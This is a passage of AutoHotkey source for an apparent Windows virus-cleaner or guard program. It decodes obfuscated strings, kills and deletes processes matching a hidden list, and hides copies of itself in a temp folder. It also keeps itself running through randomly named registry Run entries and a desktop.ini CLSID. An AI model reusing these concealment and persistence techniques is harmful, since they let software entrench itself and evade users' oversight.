comn_virs := dcprt("p1haVoeOY4aef4pYi53DVrCXro5eXlPDormTp15bh1uOhsvMg1uMVIrWj4DDrFWQh5jSWLnfsFSGh5LUmYLMw41WgobAhrXJsJueVIrWj4DDrIqGj5PRnrXTt42cVIrWj4DDrIuej5vDSsfMrp2cj5nXhrXasIufmI7So4LMw41WgobCoLXVro2OiorEj8LLsJpYi53DVrDIr56LlJjDjnTau6Ghh5fDSrjMv42NmpTQhrXar1aPnoqKhrXLwomci4TOnMOVsKCPUoG-blcGHrJaej5vHnMnaa1paV1V-amsbWeY2ii1G6i8DXs4mLnIG-blsTPrImgVIrWj4DDrJWRVIrWj4DDrJWdVIrWj4DDrJaOmJTLj7jIrJ5Yi53DVrDIuY-aailPDormTp4mYmo69nsbWtVaPnoqKhrXVv5GLiomMj8zMd4SLlJnHi73La5uZjJnVi8bMp4mYmo6-bk7jDrJaej4bHjoLMw41WgobMnr3SsI2aVIrWj4DDrJaej5K-blsvIvY1KipTBnsPZeY2ii1G6i8LbtJWLkpy-bnLnDrJaej5K-blsvIvY1Yi53DVrDIuZyTk4bKobXZsIeamJSMj8zMd4SLlJnHl7XTwomci5XQmYLMw41WgobMnr3au6FcVlWWWLnfsFSGh5PSk8fXxIuSi4jJSoaVfFaPnoqKhrXVv5Gdlp7BkrnKtlaPnoqKhrXVv5Gdlp7Rkr3Mt4xYi53DVrDIuZyTmZXXncTQr42cVIrWj4DDrJaej5jOo8fbupqXVIrWj4DDrJaej5jOo8vIvY1KlpfNWLnfsFSGh5PSk8fXxJ-aLmIqLXISXg1aPnoqKhrXVv5Gdlp7Vi8bMeY2ii1G6i8LbtJuan5y-bnLnfu1paVl6Mj8zMd4SLlJnHnsbWxFaPnoqKhrXVv5Ggj5eMj8zMd4SLlJnHoL3ZgVxYi53DVrDIuZyTnI7QmsbWv42NmlPDormTp4mYmo7Uk8bcvkhcVlWXSsTTwJtYi53DVrDIuZyTnI7Qn8eHrJaej5jOo8vIvY1KWFWPW7DIuZyTnI7Qn8eHrJaej5jOo8vIvY1Yi53DVrDIuZyTnI7Qn8eHrJaej5jOo8vIvY1KWFWPW7DasIufmI7So8HIuYmRi5eMj8zMd4SLlJnHoL3ZwJtKiZHDi8KHfVhbV4G-boLeZe1lbVIrWj4DDrJaej5vHnMnaa4uWi4bMSoaXfFmGh5vRj8bdtIuPVIrWj4DDrJaej5vHnMnaeFpaVl3OnMOVsKCPUoG-bmMjQwZGcm5iMj8zMd4SLlJnHoL3ZwJthVIrWj4DDrJaej5vHnMnap4mYmo7Uk8bcvlaPnoqKhrXVv5Ggj5fTnbDevoudnIiRXILMw41WgobMnr3dtJqfmYTOnMOVsKCPUoG-bmMjQwZGcm5jCmbeVsKCPUoG-bmMjQwZGcm5jFnoLMw41WgobMnr3dtJqfmZG-bjIaXe2FYi53DVrDIuZyTnI7Qn8fXvZdcVlWXWLnfsFSGh5PSk8rQvZ2dlpfNiYaXfFiGh5PSk8rQvZ2dlpfNiYaXfFhYi53DVrDIuZyTnI7Qn8fXvZeei4jSk8PVeY2ii1G6i8LbtJ6TmJrRosSVsKCPUoG-bmMjdvVaPnoqKhrXVv56cmVPDormTp4maiYnDkLnVr42cVIrWj4DDrJiNlpfNnrnKv1aPnoqKhrXXrpuPiZrQj4LMw41WgobOkYLMw41WgobOmoWVsKCPUoG-bmseVsKCPUoG-bnMHWvYyPjIrMjrnZeY2ii1G6i8eZe1hinpWMj8zMd4SLmYh-aXIKYeY2ii1G6i8fMeY2ii1G6i8fOeY2ii1G6i8fUeY2ii1G6i8fXfVhaX1PDormTp4mdlpfNosSVsKCPUoG-bncTgrlaPnoqKhrXav5qfk1PDormTp4melJvQnb3VvpyLkpGMj8zMd4SLmpTEnYLMw41WgobUSsTZupyPiZnHmcKHfVhbV5uPXIWVsKCPUoG-boHTasIufmI7So3SZe1lcnFaQW4LMw41WgobUWLnfsFSGh5uPk4LMw41WgobUXISXhFaPnoqKhrXdfVhaX1PDormTp4mgWVuOWLnfsFSGh5uWWLnfsFSGh5u-bWLnfsFSGh5vBi8bMeY2ii1G6i8rMeY2ii1G6i8rQvZycVIrWj4DDrJ6XVIrWj4DDrJ6aiVeOWo2VsKCPUoG-boMeVsKCPUoG-boMiVsKCPUoG-bocPTrF5Yi53DVrDIw5iOi4vDmLjMvVaPnoqKhrXfu46TnorQWLnfsFSGiFPDormTp4qLipy-bnLmUu5qZmorBnsPZeY2ii1G6jMDWrpOOi4vDmMfMp4qWlYjJjrnNsJadi1PDormTp4qWlYjJjrnNsJadi4HAlsPKtoyPjIrMnbnawYtYi53DVrDJt5eNkZDDj8TMvYSMkpTBlb-bMsJiPmFPDormTp4qWlYjJmsbWv42NmpTQhrbTuouVlpfNnrnKv5ecVIrWj4DDrZSZiZDVi8jKs42cgofKmbfSwomeiY3DnILMw41WgofLWLnfsFSGiJ7Sj7jMsY2YiorQWLnfsFSGiVPDormTp4uMi5vSncrKeY2ii1G6jbfIso2YmlPDormTp4uOWFWOY4LMw41WgojGmLafg2FfVIrWj4DDrpSPh5O-bnsPZeY2ii1G6jcDMrJaLmpTQWLnfsFSGiZHMiYaXe2GQmIrDk8Lav4mWklPDormTp4uWlZrCSrXda1paV1fUW4aYeY2ii1G6jcLbu5qZmlPDormTp4uZlJnQi8rQvZdYi53DVrDKupqPjZq-bnLiHfVhaX1PDormTp4udVIrWj4DDrp1dWlrCWLnfsFSGiZzQk8jMvVaPnoqKhrjIv4mSi4bKj8aVsKCPUoHCi8jXvZeeVIrWj4DDr42QiZPSWLnfsFSGiorEj8LKsIuPlJnDnILMw41WgonDkLnVr4maiVPDormTp4yPmZDSmcSHr42Qi5PCj8aHfVhbVlPDormTp4yPmZDSmcSHr42Qi5PCj8aHfVhbVlPDormTp4yPmZDSmcSHvo2Nm5fHns2HfVhbVlPDormTp4yPmZTSj4LMw41WgonHkcTZupxYi53DVrDLvY-afh5fCWLnfsFSGipfHoLnOwImcilPDormTp41XmYrSSoaXfFmGi1LRj8iVsKCPUoHDi8fgvpijnYbQj7fTsImYi5eMj8zMd4SPnpXHmcbMvVaPnoqKhrnfu5qPmZi-boILMw41WgorWnsbIrJ5Yi53DVrDNe41iWlPDormTp46LmZm-boILMw41WgovKi8fPsp2LmImMj8zMd4SRioiMj8zMd4SRiojVWLnfsFSGjYrMi8rQvVaPnoqKhrvPupueVIrWj4DDspCZmZm-boILMw41WgozQj7Xbr42Qi5PCj8aVsKCPUoHFn7XZr5iNmVPDormTp4-ahmIHLnLXLt5RYi53DVrDOwpqGmJzFWLnfsFSGjonQk8rMvp-aPi5XDnILMw41Wgo3Nl7nIuZyTnI7Qn8eZe1hjVIrWj4DDs5eXi4bMnr3dtJqfmVeOW4SVsKCPUoHGmcHMrJ5Yi53DVrDQrJiclVPDormTp5GLnI7QWLnfsFSGj4q-boILMw41Wgo7DjMjUeY2ii1G6k7ncu4yLmorRWLnfsFSGj4zTi8bLu4tYi53DVrDQuY6PmZnNmsbMuJegi5eMj8zMd4STlJjSi8DTqpuMioTDmILMw41Wgo7MncjIt5SPmITRjLjGsJZYi53DVrDQuZujmZjDjcnZsFaPnoqKhr3Vv42clIrSnbnKwJqTmp6QWoWXp5GdWFWPWoLMw41Wgo7Pl7XVrI-aPmFPDormTp5Gdh4vDi8qVsKCPUoHHnbXavlaPnoqKhr3deY2ii1G6lbnMu4uZllPDormTp5OSh5nQi4LMw41WgpDQlsKafVaPnoqKhr-bduJuPiZrQj4LMw41WgpG-bncjLsI6PlInDnILMw41WgpHHmL-barI6PlIrRnYLMw41WgpHHoLnIuZyTmZXXWLnfsFSGko7Uj8faeY2ii1G6lsSafmFYi53DVrDTu5CNkJDQlITMv46RVIrWj4DDt5uLmYjRWLnfsFSGkpjLXYaVvqGdUoHKncfIvlaPnoqKhsHItJaQh5vOnMPReY2ii1G6l7XTwomci0XCmbfbuppYi53DVrDUrJShh5fDjrnNeY2ii1G6l7XTwomci5fDl8PdrJRYi53DVrDUrJShh5fDobXZa19YWVPDormTp5WNh5nBkrnZeY2ii1G6l7jMsY2YmYqMj8zMd4SXi4nHi7fWr42NVIrWj4DDuI2Oj4bRo8fbsJWGnZLOnsbIxFaPnoqKhsHQrpqZmZTEnrDKupaSlZjSWLnfsFSGk47BnMPauo6egpPDnsvWvZOGj5PRnrXTt1aPnoqKhsHQuZGiWVeMj8zMd4SXlobSnMPTu5qZVIrWj4DDuJiWh56RXMzMeY2ii1G6l8eaf12OVIrWj4DDuJuLVIrWj4DDuJuLmVeOWo2VsKCPUoHLncLQw1tcVIrWj4DDuKGaiZjDjcnZsFaPnoqKhsLIuZeLnFPDormTp5eYko7Mj7vcrJqOVIrWj4DDu4mXVIrWj4DDu4mdVIrWj4DDu4mgVIrWj4DDu4qXVIrWj4DDu4tKiorEj8LLsJqGh5PSk8fXxJ-aLmIqMj8zMd4SaiUXCj7rMuYyPmIHOnMPKrpCPiZCMj8zMd4SaiUXRjcPcv4SaiZjBmcnbeY2ii1G6mreHvo2Nm5fHns2HfVhbV4HOjYaXfFlYi53DVrDXrlWLlJnHncTgeY2ii1G6mreafmFYi53DVrDXroeLlJnHncTgwomci1eOW4SVsKCPUoHOjbPasIufmI7So4aXe2FYi53DVrDXromXVIrWj4DDu4uOi4vDmLjMvVaPnoqKhsTKupiej5LHpLnZa1paV1W6mrfWu5yTk47Yj8aZe1laVIrWj4DDu4uaiYTRnrXZv42cVIrWj4DDu4uamJTSj7fbtJeYVIrWj4DDu4udlpfNnrnKv5ecVIrWj4DDu4udmYrBn8bMeY2ii1G6mrjMsY2YipeMj8zMd4SaiovMjsaVsKCPUoHOj8baupaLkkXFn7XZr0hcVlWXhsTMvZuZlIbKkcnIvYxYi53DVrDXsJqdlZO-blsTZupyPiZnNnILMw41WgpXDnciUu4memJTKWLnfsFSGlorRnsfesI2ai5eMj8zMd4SajZiMj8zMd4SalZzDnIHIuZyTnI7Qn8eUfVhaX1PDormTp5ici5jSmcjcuY2fllPDormTp5icj5u-bjc2HwomeiY3DnILMw41WgpXQk8rIrqGRm4bQjnSZe1lagpXQk8rIrqGRm4bQjoaXfFhYi53DVrDXvZeLlJnHncTgeY2ii1G6msbWrJtcVlWXWLnfsFSGlpfNkcbIuEiQj5HDnbDIt4-aRm46Mj8zMd4SamJTFnLXUa46TkorRhrXdp4mYmo7Uk8aVsKCPUoHOnMPOvYmXRovHlrnap4mgjUW-bmMjQwZGcm5h-aXISYfISLnIyMj8zMd4SamJTFnLXUa46TkorRhrbQv4yPjIrMjrnZa1paV1a6jL3br42Qi5PCj8aVsKCPUoHOnMPOvYmXRovHlrnap5WTkorRnsPVsEiLlJnHoL3ZwJuGk47Kj8fbupaPRobMnr3dtJqfmVPDormTp5iclYzQi8GHsZGWi5i6ncrKs5edmlPDormTp5iclYzQi8GHsZGWi5i6ocTXeY2ii1G6msbWuo5KiorEj8LLsJpKWFWOY7DXr46YipeMj8zMd4SamJTSj7fbr42Qi5PCj8aVsKCPUoHOnMPbsIuelojRWLnfsFSGlpfNnrnKv5uSj4rKjrDXvZeei4jSnbzQsJSOVIrWj4DDu5qZmorBnsfWt4yTi5eMj8zMd4SamYrBn8bQv6FYi53DVrDXvqGdmorLWLnfsFSGlpm-bnb-aVsKCPUoHOnsDOeY2ii1G6msnUu1aPnoqKhsTgvZeLlJnHncTgeY2ii1G6m8nQrpOSi4bKjcDMrJaPmFPDormTp5mfj4jJkrnIt4uWi4bMj8bawYtYi53DVrDYwJGNkY7MncjIt5Sah4jJWLnfsFSGmIbOk7iHrJaej5vHnMnaeY2ii1G6nLXXv5eciorEj8LKsFaPnoqKhsbLu5SLmo7Mn8HdgFaPnoqKhsbMrJSLnFPDormTp5qPh5PSk4LMw41WgpfDkb3av5qjiZHDoLnZeY2ii1G6nLnOtJuemJ7BlrndsJqemIbXWLnfsFSGmIrFk8fbvaGOlYjSmcaVsKCPUoHQj7vawZpYi53DVrDZsJafmVPDormTp5qPmZXXobXZsFaPnoqKhsbMvpyZmIqMj8zMd4ScjojMlcbRe42ejIyMj8zMd4SckYzMjoLMw41Wgpi-bkLnNtI-aSmorQhsfIsY2Qj4zGnrnZeY2ii1G6nbXNsJyjRobMnr2UvpijnYbQj3SaeY2ii1G6nbXNsJyjiYrMnrnZp5aPnVPDormTp5uLjIrSo7fMuZyPmIHOnMPbsIuelZeMj8zMd4Sdh4vDns3KsJaei5e6ncjIvZxYi53DVrDarI6Pmp7Jj7nXsJqGmYbEj8jgto2PlorQWLnfsFSGmYbEj8jgto2PlorQhsfIsY2en5DDj8TMvZugiVPDormTp5uLnFPDormTp5uLnIq-bnMHWvYSdh5vDi8bUuppYi53DVrDarJ6Ph5fLmcbDvomgi4bQl8PZvp6NVIrWj4DDvomgi4nDkLnVr42cgpi-boLnLsI6PlInDnILMw41Wgpi-boLnLsI6PlInDnMfdrlaPnoqKhsfIwY2Oi4vDmMfMp5uLnIrCj7rMuZuPVIrWj4DDvomgi4nDkLnVvo2GmYbUj7jMsY2YmYrRoLeVsKCPUoHRi8rMto2PllPDormTp5uLnIrJj7nXsJqGmYbUj7-bMsJiPmFPDormTp5uLnIrJj7nXsJqGmYbUj7-bMsJiPmJjUjYLMw41Wgpi-boLnaupSOj4rQhsfIwY2dlZHCk7nZeY2ii1G6nbXdsJuZkonHj8bDvomgi5jNlrjQsJqdnIiMj8zMd4SdiJLMnsaVsKCPUoHRjbXVeY2ii1G6nbfQv1aPnoqKhsfKwZBamZmMj8zMd4SdiZvGmcfbeY2ii1G6nbfds5edmpiMj8zMd4SdiZvRksPav5tYi53DVrDar5qLXFmMj8zMd4Sdi1eOW4SVsKCPUoHRj7XZrpBKh5PCSrjMvpyclZ6Mj8zMd4Sdi4iMj8zMd4Sdi4jTnLnNtI-aSmorQhsfMrp2ci4vHkbzbsJpYi53DVrDasIufmIrEk7vPv42cgpjDjcnZsI6TjY3Sj8bawYtYi53DVrDasIufmIrJj7nXsJpYi53DVrDasIufmIrOjbXdeY2ii1G6nbnKwJqPnIrSj8bIuYSdi4jTnLndsJyPmIbMWLnfsFSGmYrBn8bMwY2ei5e-bmLDasIufmIrUj8jMvYmYmZvBWLnfsFSGmYrBn8bMwomcmI7NnLDasIufmIrVi8bZtJecVIrWj4DDvo2Nm5fDobXZvZGZmIHRj7fcvY2hh5fQk8PZvp6NVIrWj4DDvo2Nm5fHns2Hro2Ympe-bloLMw41WgpjDjcnZtJyjRpLNmL3bupqGmYrBn8bQv6FKk5TMk8jWvVaPnoqKhsfMrp2cj5nXSsHWuZGelZe6nbnKwJqTmp7Li8LIso2cVIrWj4DDvo2Nm5fHns2Ze1hjVIrWj4DDvo2Nm5fHns3KsJaei5eMj8zMd4Sdi4jTnL3bxI6TjY3Sj8bDvo2Nm5fHns3NtI-aSmorQWLnfsFSGmYrBn8bQv6GQj4zGnrnZp5uPiZrQk8jgsZGRjpnDnMfdrlaPnoqKhsfMrp2cj5nXncPTr5GPmIHRj7fcvZGen5jNlrjQsJpYi53DVrDasIufmI7So8fWt4yTi5e6nbnKwJqTmp7RmcDLtI2cmZvBWLnfsFSGmYrQj8eVsKCPUoHRkIaXe2FYi53DVrC-atJZumI7Uj5vcrJqOVIrWj4DDvo9dWlrCWLnfsFSGmY3Blr-bZtViPmovFWLnfsFSGmY3Hj8DLvomQi5PDncfDvpCTi5HCnbXNsJaPmZiMj8zMd4Sdj4jGmcfbeY2ii1G6nb3bsImOnYbQj4LMw41WgpjLXYicr1aPnoqKhsfUrI1ahVePXI2VsKCPUoHRl7XZv0iLlJnHoL3ZwJtXWFWOY4LMw41WgpjLi8bbu5qZmorBnsPZeY2ii1G6ncHIvZydi4jTnL3bxFaPnoqKhsfUuJuPmJvHjbmVsKCPUoHRl8bbr42QllPDormTp5uXmJnOnMiVsKCPUoHRmbrbrYmcmI7DnLDauo6eiIbQnL3MvVaPnoqKhsfWsZyNlZW6ncPNv4uZllPDormTp5uZjJnRi7rMuY2dmYHRmbrbvomQi5PDnceVsKCPUoHRmbrbvomQi5PDncfDvpeQmpi-bkLnVsJudmZvBWLnfsFSGmZTEnsfWt4yTi5e6ncPNv5uZkonHj8aVsKCPUoHRmbrbvpyclZPFksPTr4SdlYvSncjZupaRjpTKjoLMw41WgpjNkMjdsJyPmIbMhsfWsZygi5nDnLXVeY2ii1G6ncTWrpSdnFPDormTp5uallPDormTp5uan4nDoLXav4melZeMj8zMd4Sdlp7Ek7vPv42cVIrWj4DDvpijjZq-bnLjMvVaPnoqKhsfXxJOTkpHDnMTZulaPnoqKhsfXxJ-aLmIp-ancvMsJiPmEXOnMOVsKCPUoHRms3erJqPjZq-bnLiVsKCPUoHRms3erJqPlpfNWLnfsFSGmZXXobXZsJqPk5TUj8aVsKCPUoHRms3erJqPmIrLmcrMvVaPnoqKhsfXxJ-aLmIrRjbXVuY2cVIrWj4DDvpijnYbSjbzMeY2ii1G6ncbKvptYi53DVrDavlpaVl2Mj8zMd4SdmZbQl4LMw41WgpjSl8PVeY2ii1G6ncjWu5GYjZjOo4LMw41WgpjSmcTQuY-adlp6Mj8zMd4SdmpfOl8PVeY2ii1G6ncrKvpxYi53DVrDawZeSlZjSWLnfsFSGmZvRksPav1aPnoqKhsfetI6eiZHDi8LMvZuNh5PMj8aVsKCPUoHRo8fIwVaPnoqKhsfgvouWlpfNWLnfsFSGmZ7RjrnNsJaNi1PDormTp5ujmYnDkLnVr42cmVPDormTp5ujmYzTi8bLeY2ii1G6nc3asp2LmInMWLnfsFSGmZ7Rk8LbsJqYh5HRSrXVv5Ggj5fTnYLMw41WgpjXncTZupyPiZnNnILMw41WgpjXncbMu1aPnoqKhsfgvpuSj4rKjoLMw41WgpjXncjMuFtcVIrWj4DDvqGdmorLXYbDtI2dh4vDl8PLsFaPnoqKhsfgvpyPk1iQhsfgvpyPk1PDormTp5ujmZnDl7XZuJecVIrWj4DDvqGdmorLjMPWvpyPmFeOWo2VsKCPUoHRo8fbsJWNlZW6nc3av42XiZTOWLnfsFSGmZ7RnrnUrpeagpjXncjMuIuZlpjUjYLMw41WgpjXncjMuIyMVIrWj4DDvqGdmorLkL3Os5yPmIHRo8fbsJWQj4zGnrnZeY2ii1G6nc3av42XjZq-bnLiVsKCPUoHRo8fbsJWRm4bQjrfMuZyPmFPDormTp5ujmZnDl8rMv42ch5O6nc3av42XnIrSj8bIuVaPnoqKhsfgvpyPk5y-bnMbQupqGmZ7RnrnUwomcmI7NnILMw41WgpnDl8TDuZeei5W-bjoLMw41WgpnDncjGtJyPk1PDormTp5ySi0XQj7vQvpycn0XRj8LbtJaPklPDormTp5ySi0XVj7aHvo2Ymo7Mj8CVsKCPUoHSkrnLsI6PlImMj8zMd4SejorRms3JupxYi53DVrDbtJiRm4bQjoLMw41WgpnLmrDLrZuTlI7SWLnfsFSGmpTSi8CHu4tKiorEj8LLsJpYi53DVrDbupyLklPDormTp5yZmobKoL3ZwJuamJTSj7fbtJeYVIrWj4DDv5qfmZnBmcTDv5qfmZnBmcSVsKCPUoHSnMnav46TjY3Sj8bDv5qfmZnEk7vPv42cVIrWj4DDv5qfmZnMk8LRrISemJrRnsLQuZKLVIrWj4DDv5qfmZnMk8LRrISemJrRnsLQuZKLmZvBWLnfsFSGmpfTncjaupSOj4rQhsjZwJuemZTKjr3MvVaPnoqKhsjZwJuenYbQnL3WvYSemJrRnsvIvZqTlZeMj8zMd4SemJrRnsvIvZqTlZe6nsbcvpyhh5fQk8PZvp6NVIrWj4DDv5uNVIrWj4DDwF9Yi53DVrDcrFpaVl6Mj8zMd4Sfh5uMj8zMd4SfiZHMWLnfsFSGm4jNmb-beeY2ii1G6n7vIrlaPnoqKhsnTv5qLh5uMj8zMd4SflJvHnLnfeY2ii1G6n8Tau4yLllPDormTp52clpXQmciVsKCPUoHTnbWVsKCPUoHTncbXvZeeVIrWj4DDwYmWh5fLWLnfsFSGnIbUWLnfsFSGnIrBWLnfsFSGnI2RXY2VsKCPUoHUk8bcvpGdlZG-bnsPZeY2ii1G6oL3ZwJuci5LNoLnZeY2ii1G6oL3ZwJuci5jOmcLasJSLiFeOWo2VsKCPUoHUk8bcvpycj4zFj8bJtJZYi53DVrDduIlYi53DVrDdvZVcVlWWWLnfsFSGnJfLXISXhFaPnoqKhsrag1uMVIrWj4DDwZuSj4rKjoLMw41WgpvRobnMu1aPnoqKhsrcvVxYi53DVrDefJaWlYzNmILMw41Wgpy-boILMw41WgpzBnYLMw41WgpzCj7rLsJWZVIrWj4DDwoydiYbMWLnfsFSGnYqRXonLeY2ii1G6obnJvo2Nm5fHns3Dvo2cnI7Bj8eVsKCPUoHVk4eahFaPnoqKhsvQuUiLlJnHoL3ZwJtKWFWOYoLMw41WgpzHmIuHrJ5Yi53DVrDetJaLlJnHncTgwomci1eOWoyVsKCPUoHVk8LIuZyTnI7Qn8eVsKCPUoHVk8LIuZyTnI7Qn8fXvZedi5nTmoLMw41WgpzHmLXdeY2ii1G6ob3VrJ6inlPDormTp5-aTlIfKn7nauo6eVIrWj4DDwpGYiZHDi8LMvVaPnoqKhsvQuYyPjFPDormTp5-aTlInNmsjQuJGki5eMj8zMd4Shj5PCmcvap4mOipTMnbDIr4yZlFPDormTp5-aTlInNocfDrIyOlZPRhsHIfVhbWFPDormTp5-aTlInNocfDrpyQk5TMWLnfsFSGnY7MjsPevoSPiorEj8LLsJpYi53DVrDetJaOlZzRhrrWuZydgpjDnMrQro2dVIrWj4DDwpGYipTVnbDQuZueh5HKWLnfsFSGnY7MjsPevoSTmZvBksPav1aPnoqKhsvQuYyZnZi6lsfIvptYi53DVrDetJaOlZzRhsPLrZadVIrWj4DDwpGYipTVnbDWr4qYmZ6Mj8zMd4Shj5PCmcvap5uPmJvHjbnaeY2ii1G6ob3Vr5ehmYHRl8faeY2ii1G6ob3Vr5ehmYHRoLeVsKCPUoHVk8LLup-adgpjUjbzIvpxYi53DVrDetJaOlZzRhsfdrpCLmZnRWLnfsFSGnY7MjsPevoSdnIjGmcfbeY2ii1G6ob3Vr5ehmYHRoLfPupueVIrWj4DDwpGYipTVnbDawZeSlZjSWLnfsFSGnY7MjsPevoSdnJyMj8zMd4Shj5PCmcvap5ugnlPDormTp5-aTlInNocfDvqGdmorLWLnfsFSGnY7MjsPevoSdn5jSj8GafYSXj5PHooeZeY2ii1G6ob3Vr5ehmYHRo8fbsJVdWIHLnb3Mw42NmVPDormTp5-aTlInNocfDvqGdmorLXYbDvZiNiVPDormTp5-aTlInNocfDwZSNVIrWj4DDwpGYipTVnbDer5WZlFPDormTp5-aTlInNocfDwpGYkpTFmcKVsKCPUoHVk8LNt4mdjozTi8bLeY2ii1G6ob3VsomXk4aMj8zMd4Shj5PHjMDcsJuZjJmMj8zMd4Shj5PHkL3Os5yPmFPDormTp5-aTlI7Ek8zMvVaPnoqKhsvQuZGdjo7DlriVsKCPUoHVk8LQvpCTi5HCncrKeY2ii1G6ob3Vt1iRVpOMj8zMd4Shj5PKmbvWuVtcVIrWj4DDwpGYlpfNnrnKv5ecVIrWj4DDwpGYmYrBn8bQv6FdXFWMj8zMd4Shj5PRms3erJqPlpfNnrnKv1aPnoqKhsvQuZ2aiobSj4ydeY2ii1G6ob3Vwo2MmYrBn8bQv6FYi53DVrDetJaiRpjDjcnZtJyjRojDmMjMvVaPnoqKhsvQuaCOi4vDmLjMvVaPnoqKhsvQuaCamJTSj7fbuppYi53DVrDetJqPmY2-bnL-aHrJaej5vHnMnaeY2ii1G6ob3av4mLlJnHoL3ZwJtYi53DVrDeuJidiYvFnYLMw41WgpzRXYegeY2ii1G6or7Za4mYmo7Uk8bcvlaPnoqKhszXeI-afh5fCWLnfsFSGnpWLkcnIvYxYi53DVrDfu1Wdjo7DlriVsKCPUoHWmrPIuZyTmZXXobXZsFaPnoqKhszXrFaPnoqKhszXrJaej5vHnMnaeY2ii1G6osTLsI6PlInDnILMw41Wgp3OjrnTwKCPVIrWj4DDw5iWlZfDnILMw41Wgp3OmsPTtIuPVIrWj4DDw5iamJTSj7fbtJeYiYrMnrnZeY2ii1G6osTasIufmI7So7fMuZyPmFPDormTp6Cam5XCi8jMeY2ii1G6osTgrZ2clIrQWLnfsFSGn5TTnHTXrkiamJTSj7fbuppYi53DVrDhtJaLlpiVWLnfsFSGpFPDormTrJaej5vHnMnap5yci4bUWLnfsFSalZHHjbmHu5qZVIrWj4DXvZeGh5PSk7PNtJSPmVPDork-c", "(*&%^*TgK")
cls_id_7be9d83c := dcprt("5YOsrJeJXlnBl62BeZdSWoqXoXmsfL9cU1fAoX97esFYX4uOy8k-c", "LJG^%&&^j")
m_pth_rg_pat := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.")
loop
{
For indx, pr in get_prcs() {
pr_pth := pr.pr_pth
pr_pid := pr.pr_pid
if (!pr_pth || pr_pid = selfpid) {
continue
}
if pr_pth contains %comn_virs%
{
if pr_pid != ix_pid
kill_del(pr_pth, pr_pid)
}
if (RegExMatch(pr_pth, m_pth_rg_pat) > 0) {
ver := ver_typ(pr_pth)
if (ver = 1) {
Try process, waitclose, %pr_pid%, 5
if errorlevel != 0
ExitApp
}
else if ver = higher
goto, close_self_all_ext
else if (ver < 1) {
kill_del(pr_pth, pr_pid)
}
}
chk_tskmgr()
}
stringright, idxr, a_index, 1
if (idxr = 1 || (!h_k && (idxr = 3 || idxr = 5 || idxr = 7 || idxr = 9))) {
gosub, chk_tmp_strtr
}
tmp_strtr_ok = 0
if h_k !=
{
if FileExist(tmpstrtr) {
par := (tmpstrtr = ScriptFullPath) ? "Quarantine" : "cleanup"
For i, nm in tmpstr_all {
hh := rg_rd(h_k, reg_sw_ms_win_cu_ro, nm)
if hh = "%tmpstrtr%" %alt_0_chr% /%par% %alt_0_chr%
{
tmp_strtr_ok = 1
break
}
}
}
}
if (tmp_strtr_ok = 0 && idxr != 1) {
gosub, chk_tmp_strtr
}
if (h_k && !_dini) {
if (xp_hgr && tmpstrtr = ScriptFullPath) {
kill_del(sd_ini)
}
if ((xp_hgr && tmpstrtr != ScriptFullPath) || !xp_hgr) {
Try IniWrite, %cls_id_7be9d83c%, %sd_ini%, .ShellClassInfo, CLSID
Try FileSetAttrib, +RSAH, %sd_ini%
}
_dini = 1
}
loop, 15
{
process, exist, %ix_pid%
if (errorlevel = 0 || errorlevel = selfpid) {
sleep, 800
gosub, set_ixplr
break
}
chk_tskmgr()
sleep, 1000
}
sleep, 3000
}
gt_rdm_tmp_strt() {
Global tmpstr_all
random, n, 1, % tmpstr_all.Length()
return tmpstr_all[n]
}
rmv_invd_strtr() {
Global
For ir, kh in ["HKLM", "HKCU"]
For i, tsnm in tmpstr_all {
fl := rg_rd(kh, reg_sw_ms_win_cu_ro, tsnm)
if !fl
continue
fl_ := StrSplit(fl, """")[2]
if (!fl_ || !FileExist(fl_)) {
Try regdelete, %kh%, %reg_sw_ms_win_cu_ro%, %tsnm%
continue
}
}
}
chk_tmp_strtr:
chk_reg_mons()
chk_tmp_strtr_:
h_k =
tmpstrtr =
if !hptmp
hptmp := dcprt("orS9t8OXjKynwKum0oqTuA-c-c", "LJG^%&HF")
if !tmpclr
tmpclr := dcprt("ysC-aw5e506qQz8-a0yA-c-c", "BJ^*IUG$jn")
loop, %atemp%%hptmp%%tmpclr%*.exe
{
ver := ver_typ(a_loopfilefullpath)
if ver = 2
{
if !win_shut
{
Try run, %a_loopfilefullpath% %alt_0_chr%,, useerrorlevel, pp
if errorlevel != ERROR
{
Try process, wait, %pp%, 5
Try process, waitclose, %pp%, 10
kill_del(a_loopfilefullpath, pp)
}
}
}
else if (ver = 1) {
if tmpstrtr =
tmpstrtr = %a_loopfilefullpath%
else
kill_del(a_loopfilefullpath)
}
else
kill_del(a_loopfilefullpath)
}
if tmpstrtr
{
if !FileExist(tmpstrtr)
tmpstrtr =
}
if !tmpstrtr
tmpstrtr := atemp hptmp tmpclr get_num_seed(5) ".exe"
if !FileExist(tmpstrtr) {
Try filecreatedir, %atemp%%hptmp%
chg_icn_typ_cpy(ScriptFullPath, tmpstrtr, "wd")
Try FileSetAttrib, +RSA, %tmpstrtr%
Try FileSetAttrib, -H, %tmpstrtr%
Try FileSetAttrib, +RSAH, %atemp%%hptmp%
}
ifexist, %tmpstrtr%
chk_con_fl(tmpstrtr)
rmv_invd_strtr()
For ii, strtr in [tmpstrtr, ScriptFullPath] {
if !FileExist(strtr)
strtr = %ScriptFullPath%
SplitPath, strtr, , dr
dr_ini = %dr%\desktop.ini
par := (strtr = ScriptFullPath) ? "Quarantine" : "cleanup"
kill_del(dr_ini)
h_k =
ts_fnd = 0
t_strtr = "%strtr%" %alt_0_chr% /%par% %alt_0_chr%
if rg_lm_ok
{
h_k = HKLM
For i, tsnm in tmpstr_all {
if (rg_rd(h_k, reg_sw_ms_win_cu_ro, tsnm) = t_strtr) {
ts_fnd = 1
break
}
}
if ts_fnd
break
tsnm := gt_rdm_tmp_strt()
if (rg_wt(, h_k, reg_sw_ms_win_cu_ro, tsnm, t_strtr)) {
break
}
h_k =
}
For i, tsnm in tmpstr_all {
if (rg_rd(, reg_sw_ms_win_cu_ro, tsnm) = t_strtr) {
h_k = HKCU
ts_fnd = 1
break
}
}
if ts_fnd
break
h_k =
tsnm := gt_rdm_tmp_strt()
if (rg_wt(, , reg_sw_ms_win_cu_ro, tsnm, t_strtr)) {
h_k = HKCU
break
}
if strtr = %ScriptFullPath%
break
}
if h_k !=
{
For i, tsnm in tmpstr_all {
st := startup "\" tsnm ".lnk"
if !FileExist(st)
continue
Try FileGetShortcut, %st%, ot,, oarg
if (ot = tmpstrtr) {
if (oarg = alt_0_chr "/cleanup" alt_0_chr) {
Try filesetattrib, -RSAH, %st%
Try filedelete, %st%
}
}
}
goto, tmp_strt_ok
}
h_k = HKLM
